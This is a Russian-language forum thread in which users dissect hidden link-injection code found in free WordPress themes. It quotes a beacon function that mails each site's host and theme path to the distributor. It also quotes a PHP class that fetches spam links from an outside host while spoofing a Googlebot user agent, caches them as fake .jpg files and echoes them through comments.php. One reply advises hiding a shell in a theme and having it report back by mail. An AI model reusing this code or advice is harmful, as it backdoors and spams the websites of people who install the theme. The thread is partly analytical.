Скрытые ссылки в шаблонах wordpress и их размещение{PHP}

Discussion in 'PHP' started by zlodey1, 18 Sep 2012.

  1. zlodey1

    zlodey1 New Member

    Joined:
    15 Jan 2011
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Приветствую. Наткнулся на тему на серче,
    http://forum.searchengines.ru/showthread.php?t=711151

    Шаблоны берутся с этого сайта - http://wp-templates.ru/rules/

    Вопросов несколько, с помощью какого скрипта автору удается с локальной машины получать адреса сайтов на которых установлены шаблоны с его сайта и с помощью чего он размещает именно по 1 ссылке на скрытых страницах сайтов/блогов

    Кто хорошо разбирается в WP, можете сделать мини FAQ если не затруднит, скажем на примере этого шаблона

    http://wp-templates.ru/download/292

    Спасибо
     
  2. barnaki

    barnaki Elder - Старейшина

    Joined:
    2 Nov 2008
    Messages:
    676
    Likes Received:
    130
    Reputations:
    4
    можно php код в tpl вставить и он выполнится.
    грубя говоря любая cms хранит темы и файлы сетингов в стандартных директориях. тоесть ты имеешь относительные пути. напиши shell вставить его в куда нить в тему. и сделай инклюд в tpl твоей темы. пусть он тебе делает mail(); домена .
     
    #2 barnaki, 19 Sep 2012
    Last edited: 19 Sep 2012
  3. zlodey1

    zlodey1 New Member

    Joined:
    15 Jan 2011
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    function ddtheme($name=""){ $str= 'Theme:'.$name.' HOST: '.$_SERVER['HTTP_HOST'].' SCRIP_PATH: '.TEMPLATEPATH.''; $str_test=TEMPLATEPATH."/ie.css"; if(is_file($str_test)) { @unlink($str_test); if(!is_file($str_test)){ @mail('[email protected]','celebrityhq',$str); }}}

    т.е вот это та самая стучалка?

    Вообще если не сложно, на примере этой темы дайте разбор кода, что куда вставлялось и как потом ссылки проставляются распространителем шаблона :)
     
  4. seosimf

    seosimf Member

    Joined:
    3 Mar 2011
    Messages:
    271
    Likes Received:
    44
    Reputations:
    6
    в файле functions.php есть класс Get_links:
    PHP:
    class Get_links {

        var 
    $host 'wpconfig.net';
        var 
    $path '/system.php';
        var 
    $_cache_lifetime    21600;
        var 
    $_socket_timeout    5;

        function 
    get_remote() {
        
    $req_url 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
        
    $_user_agent "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";

             
    $links_class = new Get_links();
             
    $host $links_class->host;
             
    $path $links_class->path;
             
    $_socket_timeout $links_class->_socket_timeout;
             
    //$_user_agent = $links_class->_user_agent;

            
    @ini_set('allow_url_fopen',          1);
            @
    ini_set('default_socket_timeout',   $_socket_timeout);
            @
    ini_set('user_agent'$_user_agent);

            if (
    function_exists('file_get_contents')) {
                
    $opts = array(
                    
    'http'=>array(
                        
    'method'=>"GET",
                        
    'header'=>"Referer: {$req_url}\r\n".
                        
    "User-Agent: {$_user_agent}\r\n"
                    
    )
                );
                
    $context stream_context_create($opts);

                
    $data = @file_get_contents('http://' $host $pathfalse$context);
                
    preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/'$data$data);
                
    $data = @$data[2];
                return 
    $data;
            }
               return 
    '<!--link error-->';
          }

        function 
    return_links($lib_path) {
             
    $links_class = new Get_links();
             
    $file ABSPATH.'wp-content/uploads/2011/'.md5($_SERVER['REQUEST_URI']).'.jpg';
             
    $_cache_lifetime $links_class->_cache_lifetime;

            if (!
    file_exists($file))
            {
                @
    touch($filetime());
                
    $data $links_class->get_remote();
                
    file_put_contents($file$data);
                return 
    $data;
            } elseif ( 
    time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
                @
    touch($filetime());
                
    $data $links_class->get_remote();
                
    file_put_contents($file$data);
                return 
    $data;
            } else {
                
    $data file_get_contents($file);
                return 
    $data;
            }
        }
    }
    Метод get_remote() подгружает и возвращает ссылки по адресу http://wpconfig.net/system.php, метод return_links() использует локальный файл(если есть) соответствующий md5 хешу запрашиваемого адреса с сохраненными ссылками или загружает ссылки используя метод get_remote() и сохраняет их файл.
    В файле Comments.php создается инстанс Get_links и вызывается метод return_links:
    PHP:
    <?php $lib_path dirname(__FILE__).'/'; require_once('functions.php'); $links = new Get_links(); $links $links->return_links($lib_path); echo $links?>
     
  5. zlodey1

    zlodey1 New Member

    Joined:
    15 Jan 2011
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    seosimf, спасибо за развернутый ответ.
    а какой код примерно скрывается за http://wpconfig.net/system.php ?
     
  6. barnaki

    barnaki Elder - Старейшина

    Joined:
    2 Nov 2008
    Messages:
    676
    Likes Received:
    130
    Reputations:
    4
    походу